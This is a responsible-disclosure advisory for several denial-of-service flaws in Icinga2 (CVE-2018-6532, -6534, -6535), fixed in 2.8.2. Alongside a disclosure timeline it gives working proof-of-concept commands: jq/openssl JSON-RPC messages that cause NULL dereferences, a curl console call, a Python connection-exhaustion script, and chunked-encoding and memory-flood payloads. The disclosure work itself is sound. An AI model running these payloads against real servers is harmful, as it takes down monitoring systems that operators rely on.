Author: Michael Hanselmann <https://hansmi.ch/> Updated: 2018-03-21 A series of denial of service (DoS) vulnerabilities was discovered in Icinga2, an Open Source network monitoring program. While some lead to excessive resource usage, others cause the server daemon to terminate after asserting on pointer values. All reported issues have been fixed in Icinga 2.8.2. Other security researchers may find information on how to report security issues at <https://www.icinga.com/community/security/>. CVEs ---- CVE-2018-6532: By sending specially crafted requests, authenticated and unauthenticated, an attacker can exhaust a lot of memory on the server side, triggering the OOM killer. Patches: https://github.com/Icinga/icinga2/pull/6103 and others CVE-2018-6534: By sending specially crafted messages, an attacker can cause a NULL pointer dereference, which can cause Icinga2 to crash. Patches: https://github.com/Icinga/icinga2/pull/6104 CVE-2018-6535: Lack of a constant-time password comparison function can disclose the password to an attacker. Patches: https://github.com/Icinga/icinga2/pull/5715 Timeline -------- 2018-01-16 to 2018-01-18: An investigation after a program crash while configuring Icinga2 led to the discovery of a series of denial of service (DoS). 2018-01-18: A GnuPG-encrypted e-mail was sent to one of Icinga2's core developers asking for the appropriate contact address for security concerns. As of January 29, 2018 no reply was received. 2018-01-19: A work colleague sends an e-mail with a question to the same effect to CEO of Netways. As of January 29, 2018 no reply was received. 2018-01-29: An initial version of this report is sent to info@icinga.com and info@netways.de. 2018-01-31: Icinga project confirms the verification of all findings and starts working on patches. 2018-02-07: Icinga project delivers first set of patches and makes minor changes after review by reporter. CVE numbers have been requested and assigned. 2018-02-22: Changes are merged into public Git master branch. 2018-02-23: Reviewed code in more depth and reported one missing fix and one new issue. Documentation for future security issue reports is available at <https://www.icinga.com/community/security/>. Late February 2018 to early March 2018: Icinga merges more changes related to reported issues. 2018-03-19: Author is informed that a release is planned for March 22, 2018. 2018-03-22: Icinga releases version 2.8.2. Environment ----------- Tests were made with Icinga2 v2.8.0-187-g025abc335 on Debian 9 (Stretch). Technical comment ----------------- In most places Icinga2 uses Boost's intrusive_ptr<T> to store pointers rather than raw pointers. intrusive_ptr<T>::operator* and intrusive_ptr<T>::operator-> assert that the pointer value is not NULL. At least the upstream builds for Debian Stretch have these assertions enabled. Other environments may not, thus leading to an actual NULL pointer dereference. Unauthenticated DoS ------------------- Null pointer dereference in JsonRpcConnection::SendMessage (m_Endpoint is nullptr): --- msg=$(jq --null-input --compact-output --raw-output '{ "id": "foo", "jsonrpc": "2.0", "method": "", "params": {} }') && \ { sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \ openssl s_client -connect 192.0.2.1:5665 --- Null pointer dereference in JsonRpcConnection::HeartbeatAPIHandler (params->Get): --- msg=$(jq --null-input --compact-output --raw-output '{ "id": "foo", "jsonrpc": "2.0", "method": "event::Heartbeat", "params": null }') && \ { sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \ openssl s_client -connect 192.0.2.1:5665 --- Null pointer dereference in UpdateCertificateHandler (params->Get): --- msg=$(jq --null-input --compact-output --raw-output '{ "id": "foo", "jsonrpc": "2.0", "method": "pki::UpdateCertificate", "params": null }') && \ { sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \ openssl s_client -connect 192.0.2.1:5665 --- Null pointer dereference in ApiListener::ConfigUpdateObjectAPIHandler (params->Get): --- msg=$(jq --null-input --compact-output --raw-output '{ "id": "foo", "jsonrpc": "2.0", "method": "config::UpdateObject", "params": null }') && \ { sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \ openssl s_client -connect 192.0.2.1:5665 --- Authenticated DoS ----------------- Null pointer dereference in ApiListener::ConfigDeleteObjectAPIHandler (params->Get), requires accept_config=true, to pass validation both endpoints must be in same zone or destination must be a child: --- msg=$(jq --null-input --compact-output --raw-output '{ "id": "foo", "jsonrpc": "2.0", "method": "config::DeleteObject", "params": null }') && \ { sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \ openssl s_client -connect 192.0.2.1:5665 -key client.key \ -cert client.crt -CAfile ca.crt --- Null pointer dereference in Checkable::ExecuteRemoteCheck (macros=NULL), to pass validation both endpoints must be in same zone or destination must be a child: --- msg=$(jq --null-input --compact-output --raw-output '{ "id": "bar", "jsonrpc": "2.0", "method": "event::ExecuteCommand", "params": { "host": "client", "command_type": "check_command", "command": "yum", "macros": null } }') && \ { sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \ openssl s_client -connect 192.0.2.1:5665 -key client.key \ -cert client.crt -CAfile ca.crt --- Multi-master HA setup, both endpoints must be in same zone, NULL pointer dereference in ClusterEvents::ExecuteCommandAPIHandler (params->Get), dereference location depends on accept_commands (works with either value): --- msg=$(jq --null-input --compact-output --raw-output '{ "id": "foo", "jsonrpc": "2.0", "method": "event::ExecuteCommand", "params": null }') && \ { sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \ openssl s_client -connect 192.0.2.1:5665 -key server.key \ -cert server.crt --- ApiListener::ConfigUpdateHandler (params->Get), requires accept_config=true, to pass validation both endpoints must be in same zone or destination must be a child: --- msg=$(jq --null-input --compact-output --raw-output '{ "id": "foo", "jsonrpc": "2.0", "method": "config::Update", "params": null }') && \ { sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \ openssl s_client -connect 192.0.2.1:5665 -key client.key \ -cert client.crt --- Authenticated script execution leads to pointer dereference ----------------------------------------------------------- Execute script and pass "null" as pointer value, requires "console" permission, may also apply to other functions available via script and taking pointers: --- curl -H 'Accept: application/json' -XPOST -v -k -u "user:password" \ 'https://192.0.2.1:5665/v1/console/execute-script?command=get_check_command%28%22dummy%22%29.execute%28null%2C%20null%2C%20null%2C%20false%29' --- Excessive resource usage ------------------------ Unbounded resource usage due to spawning one thread per connection; this Python script is effectively a threadbomb on the destination and uses all available memory on the Icinga server (~14.8k connections used ~780 MB of RAM on a x86_64 system); clients not sending anything are never terminated: --- import resource import socket import time resource.setrlimit(resource.RLIMIT_NOFILE, (131072, 131072)) conn = [] while True: try: conn.append(socket.create_connection(('192.0.2.1', 5665))) except BaseException as err: print(err) break print(len(conn)) while True: time.sleep(1) --- Produce std::bad_alloc in HttpChunkedEncoding::ReadChunkFromStream (length indicator is signed integer; size check seems to prevent worse things); same principle should work in responses to clients --- { sleep 1; echo -ne 'GET / HTTP/1.1\nConnection: close\nAccept: application/json\nTransfer-Encoding: chunked\n\n-2\r\nDummy\r\n0\r\n\r\n'; sleep 5; } | \ openssl s_client -connect 192.0.2.1:5665 --- Consume lots of memory, sometimes leading to assertions (requires sufficient bandwidth to server): --- { sleep 1; echo -ne 'GET / HTTP/1.1\nConnection: close\nAccept: application/json\nTransfer-Encoding: chunked\n\nFFFFFFFF\r\n'; while true; do dd if=/dev/zero bs=1M; done; } | \ openssl s_client -connect 192.0.2.1:5665 --- Consume lots of memory and CPU; can trigger OOM killer; run multiple instances in parallel: --- for i in {0..10}; do \ { \ sleep 1; echo -ne '999999999:'; \ while true; do dd if=/dev/zero bs=1M; done; \ } | openssl s_client -connect 192.0.2.1:5665 & done; wait --- Inject many messages into queue and trigger OOM killer: --- for _ in {0..1000}; do \ { \ msg=$(jq --null-input --compact-output --raw-output '{ "id": "foo", "jsonrpc": "2.0", "method": "icinga::Hello", "params": {} }') && \ sleep 1; \ for ((i=0; ; ++i)); do \ echo -n "${#msg}:${msg},${#msg}:${msg},${#msg}:${msg},${#msg}:${msg},"; \ done \ } | socat stdin OPENSSL:192.0.2.1:5665,verify=0,rcvbuf=10,rcvbuf-late=10 & done; wait --- Invoke OOM killer (negative content length): --- { sleep 1; echo -ne 'GET / HTTP/1.1\nConnection: close\nAccept: application/json\nContent-Length: -999\n\nfoobar'; dd if=/dev/zero bs=1M; } | \ openssl s_client -connect 192.0.2.1:5665 --- Provoke OOM killer by filling internal JSON message queue: --- for _ in {0..1000}; do \ { \ msg=$(jq --null-input --compact-output --raw-output '{ "id": "foo", "jsonrpc": "2.0", "method": "icinga::Hello", "params": {} }') && \ sleep 1; \ for ((i=0; ; ++i)); do \ echo -n "${#msg}:${msg},${#msg}:${msg},${#msg}:${msg},${#msg}:${msg},"; \ done \ } | socat stdin OPENSSL:192.0.2.1:5665,verify=0,rcvbuf=10,rcvbuf-late=10 & done; wait --- Bonus findings -------------- HttpServerConnection::ProcessMessageAsync doesn't use constant-time password comparison (https://codahale.com/a-lesson-in-timing-attacks/). EventQueue::ProcessEvent and FilterUtility::GetFilterTargets use "&*" on a possibly-NULL std::unique_ptr; it's the author's understanding that doing so may be undefined behaviour and should be avoided: http://www.open-std.org/jtc1/sc22/wg21/docs/cwg_active.html#232 (drafting as of this writing); std::unique_ptr<T>::get may be more suitable. There is no way to disable unauthenticated connections, i.e. those without client certificates. In environments where the certificates are configured through other means, i.e. Puppet, remote connections could be limited to those presenting a client certificate.